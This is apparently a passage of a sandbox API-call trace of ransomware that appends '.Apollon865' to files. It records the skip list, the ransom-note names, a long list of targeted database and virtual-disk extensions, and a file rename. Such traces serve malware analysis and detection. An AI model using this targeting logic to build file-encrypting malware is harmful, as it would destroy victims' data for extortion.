	[0082.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0082.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0082.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.856] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0082.858] CloseHandle (hObject=0x15c) returned 1
	[0082.858] CloseHandle (hObject=0x9c) returned 1
	[0082.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.860] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".") returned 1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="..") returned 1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="windows") returned -1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="bootmgr") returned 1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="temp") returned -1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="boot") returned 1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="ids.txt") returned 1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="ntuser.dat") returned -1
	[0082.860] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="perflogs") returned -1
	[0082.861] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="MSBuild") returned -1
	[0082.861] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0082.861] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned 69
	[0082.861] lstrcpyW (in: lpString1=0x119e670, lpString2="MOR6INT.REST.trx_dll" | out: lpString1="MOR6INT.REST.trx_dll") returned="MOR6INT.REST.trx_dll"
	[0082.861] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0082.861] lstrlenW (lpString="Apollon865") returned 10
	[0082.861] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0082.861] lstrlenW (lpString=".dll") returned 4
	[0082.861] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".dll") returned 1
	[0082.861] lstrlenW (lpString=".lnk") returned 4
	[0082.861] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".lnk") returned 1
	[0082.861] lstrlenW (lpString=".ini") returned 4
	[0082.861] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".ini") returned 1
	[0082.861] lstrlenW (lpString=".sys") returned 4
	[0082.861] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".sys") returned 1
	[0082.861] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0082.861] lstrlenW (lpString="bak") returned 3
	[0082.861] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.861] lstrlenW (lpString="ba_") returned 3
	[0082.861] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.861] lstrlenW (lpString="dbb") returned 3
	[0082.861] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.861] lstrlenW (lpString="vmdk") returned 4
	[0082.861] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.861] lstrlenW (lpString="rar") returned 3
	[0082.861] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.861] lstrlenW (lpString="zip") returned 3
	[0082.861] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.861] lstrlenW (lpString="tgz") returned 3
	[0082.861] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.861] lstrlenW (lpString="vbox") returned 4
	[0082.861] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.861] lstrlenW (lpString="vdi") returned 3
	[0082.861] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.861] lstrlenW (lpString="vhd") returned 3
	[0082.861] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.861] lstrlenW (lpString="vhdx") returned 4
	[0082.862] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.862] lstrlenW (lpString="avhd") returned 4
	[0082.862] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.862] lstrlenW (lpString="db") returned 2
	[0082.862] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.862] lstrlenW (lpString="db2") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.862] lstrlenW (lpString="db3") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.862] lstrlenW (lpString="dbf") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.862] lstrlenW (lpString="mdf") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.862] lstrlenW (lpString="mdb") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.862] lstrlenW (lpString="sql") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.862] lstrlenW (lpString="sqlite") returned 6
	[0082.862] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.862] lstrlenW (lpString="sqlite3") returned 7
	[0082.862] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.862] lstrlenW (lpString="sqlitedb") returned 8
	[0082.862] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.862] lstrlenW (lpString="xml") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.862] lstrlenW (lpString="$er") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.862] lstrlenW (lpString="4dd") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.862] lstrlenW (lpString="4dl") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.862] lstrlenW (lpString="^^^") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.862] lstrlenW (lpString="abs") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.862] lstrlenW (lpString="abx") returned 3
	[0082.862] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.862] lstrlenW (lpString="accdb") returned 5
	[0082.862] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.863] lstrlenW (lpString="accdc") returned 5
	[0082.863] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.863] lstrlenW (lpString="accde") returned 5
	[0082.863] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.863] lstrlenW (lpString="accdr") returned 5
	[0082.863] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.863] lstrlenW (lpString="accdt") returned 5
	[0082.863] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.863] lstrlenW (lpString="accdw") returned 5
	[0082.863] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.863] lstrlenW (lpString="accft") returned 5
	[0082.863] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.863] lstrlenW (lpString="adb") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.863] lstrlenW (lpString="adb") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.863] lstrlenW (lpString="ade") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.863] lstrlenW (lpString="adf") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.863] lstrlenW (lpString="adn") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.863] lstrlenW (lpString="adp") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.863] lstrlenW (lpString="alf") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.863] lstrlenW (lpString="ask") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.863] lstrlenW (lpString="btr") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.863] lstrlenW (lpString="cat") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.863] lstrlenW (lpString="cdb") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.863] lstrlenW (lpString="ckp") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.863] lstrlenW (lpString="cma") returned 3
	[0082.863] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.864] lstrlenW (lpString="cpd") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.864] lstrlenW (lpString="dacpac") returned 6
	[0082.864] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.864] lstrlenW (lpString="dad") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.864] lstrlenW (lpString="dadiagrams") returned 10
	[0082.864] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0082.864] lstrlenW (lpString="daschema") returned 8
	[0082.864] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.864] lstrlenW (lpString="db-journal") returned 10
	[0082.864] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0082.864] lstrlenW (lpString="db-shm") returned 6
	[0082.864] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.864] lstrlenW (lpString="db-wal") returned 6
	[0082.864] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.864] lstrlenW (lpString="dbc") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.864] lstrlenW (lpString="dbs") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.864] lstrlenW (lpString="dbt") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.864] lstrlenW (lpString="dbv") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.864] lstrlenW (lpString="dbx") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.864] lstrlenW (lpString="dcb") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.864] lstrlenW (lpString="dct") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.864] lstrlenW (lpString="dcx") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.864] lstrlenW (lpString="ddl") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.864] lstrlenW (lpString="dlis") returned 4
	[0082.864] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.864] lstrlenW (lpString="dp1") returned 3
	[0082.864] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.865] lstrlenW (lpString="dqy") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.865] lstrlenW (lpString="dsk") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.865] lstrlenW (lpString="dsn") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.865] lstrlenW (lpString="dtsx") returned 4
	[0082.865] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.865] lstrlenW (lpString="dxl") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.865] lstrlenW (lpString="eco") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.865] lstrlenW (lpString="ecx") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.865] lstrlenW (lpString="edb") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.865] lstrlenW (lpString="epim") returned 4
	[0082.865] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.865] lstrlenW (lpString="fcd") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.865] lstrlenW (lpString="fdb") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.865] lstrlenW (lpString="fic") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.865] lstrlenW (lpString="flexolibrary") returned 12
	[0082.865] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0082.865] lstrlenW (lpString="fm5") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.865] lstrlenW (lpString="fmp") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.865] lstrlenW (lpString="fmp12") returned 5
	[0082.865] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.865] lstrlenW (lpString="fmpsl") returned 5
	[0082.865] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.865] lstrlenW (lpString="fol") returned 3
	[0082.865] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.865] lstrlenW (lpString="fp3") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.866] lstrlenW (lpString="fp4") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.866] lstrlenW (lpString="fp5") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.866] lstrlenW (lpString="fp7") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.866] lstrlenW (lpString="fpt") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.866] lstrlenW (lpString="frm") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.866] lstrlenW (lpString="gdb") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.866] lstrlenW (lpString="gdb") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.866] lstrlenW (lpString="grdb") returned 4
	[0082.866] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.866] lstrlenW (lpString="gwi") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.866] lstrlenW (lpString="hdb") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.866] lstrlenW (lpString="his") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.866] lstrlenW (lpString="ib") returned 2
	[0082.866] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.866] lstrlenW (lpString="idb") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.866] lstrlenW (lpString="ihx") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.866] lstrlenW (lpString="itdb") returned 4
	[0082.866] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.866] lstrlenW (lpString="itw") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.866] lstrlenW (lpString="jet") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.866] lstrlenW (lpString="jtx") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.866] lstrlenW (lpString="kdb") returned 3
	[0082.866] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.867] lstrlenW (lpString="kexi") returned 4
	[0082.867] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.867] lstrlenW (lpString="kexic") returned 5
	[0082.867] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.867] lstrlenW (lpString="kexis") returned 5
	[0082.867] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.867] lstrlenW (lpString="lgc") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.867] lstrlenW (lpString="lwx") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.867] lstrlenW (lpString="maf") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.867] lstrlenW (lpString="maq") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.867] lstrlenW (lpString="mar") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.867] lstrlenW (lpString="marshal") returned 7
	[0082.867] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.867] lstrlenW (lpString="mas") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.867] lstrlenW (lpString="mav") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.867] lstrlenW (lpString="maw") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.867] lstrlenW (lpString="mdbhtml") returned 7
	[0082.867] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.867] lstrlenW (lpString="mdn") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.867] lstrlenW (lpString="mdt") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.867] lstrlenW (lpString="mfd") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.867] lstrlenW (lpString="mpd") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.867] lstrlenW (lpString="mrg") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.867] lstrlenW (lpString="mud") returned 3
	[0082.867] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.868] lstrlenW (lpString="mwb") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.868] lstrlenW (lpString="myd") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.868] lstrlenW (lpString="ndf") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.868] lstrlenW (lpString="nnt") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.868] lstrlenW (lpString="nrmlib") returned 6
	[0082.868] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.868] lstrlenW (lpString="ns2") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.868] lstrlenW (lpString="ns3") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.868] lstrlenW (lpString="ns4") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.868] lstrlenW (lpString="nsf") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.868] lstrlenW (lpString="nv") returned 2
	[0082.868] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.868] lstrlenW (lpString="nv2") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.868] lstrlenW (lpString="nwdb") returned 4
	[0082.868] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.868] lstrlenW (lpString="nyf") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.868] lstrlenW (lpString="odb") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.868] lstrlenW (lpString="odb") returned 3
	[0082.868] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.869] lstrlenW (lpString="oqy") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.869] lstrlenW (lpString="ora") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.869] lstrlenW (lpString="orx") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.869] lstrlenW (lpString="owc") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.869] lstrlenW (lpString="p96") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.869] lstrlenW (lpString="p97") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.869] lstrlenW (lpString="pan") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.869] lstrlenW (lpString="pdb") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.869] lstrlenW (lpString="pdm") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.869] lstrlenW (lpString="pnz") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.869] lstrlenW (lpString="qry") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.869] lstrlenW (lpString="qvd") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.869] lstrlenW (lpString="rbf") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.869] lstrlenW (lpString="rctd") returned 4
	[0082.869] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.869] lstrlenW (lpString="rod") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.869] lstrlenW (lpString="rodx") returned 4
	[0082.869] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.869] lstrlenW (lpString="rpd") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.869] lstrlenW (lpString="rsd") returned 3
	[0082.869] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.869] lstrlenW (lpString="sas7bdat") returned 8
	[0082.869] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.870] lstrlenW (lpString="sbf") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.870] lstrlenW (lpString="scx") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.870] lstrlenW (lpString="sdb") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.870] lstrlenW (lpString="sdc") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.870] lstrlenW (lpString="sdf") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.870] lstrlenW (lpString="sis") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.870] lstrlenW (lpString="spq") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.870] lstrlenW (lpString="te") returned 2
	[0082.870] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.870] lstrlenW (lpString="teacher") returned 7
	[0082.870] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.870] lstrlenW (lpString="tmd") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.870] lstrlenW (lpString="tps") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.870] lstrlenW (lpString="trc") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.870] lstrlenW (lpString="trc") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.870] lstrlenW (lpString="trm") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.870] lstrlenW (lpString="udb") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.870] lstrlenW (lpString="udl") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.870] lstrlenW (lpString="usr") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.870] lstrlenW (lpString="v12") returned 3
	[0082.870] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.870] lstrlenW (lpString="vis") returned 3
	[0082.871] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.871] lstrlenW (lpString="vpd") returned 3
	[0082.871] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.871] lstrlenW (lpString="vvv") returned 3
	[0082.871] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.871] lstrlenW (lpString="wdb") returned 3
	[0082.871] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.871] lstrlenW (lpString="wmdb") returned 4
	[0082.871] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.871] lstrlenW (lpString="wrk") returned 3
	[0082.871] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.871] lstrlenW (lpString="xdb") returned 3
	[0082.871] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.871] lstrlenW (lpString="xld") returned 3
	[0082.871] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.871] lstrlenW (lpString="xmlff") returned 5
	[0082.871] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.871] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll.Apollon865") returned 83
	[0082.871] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
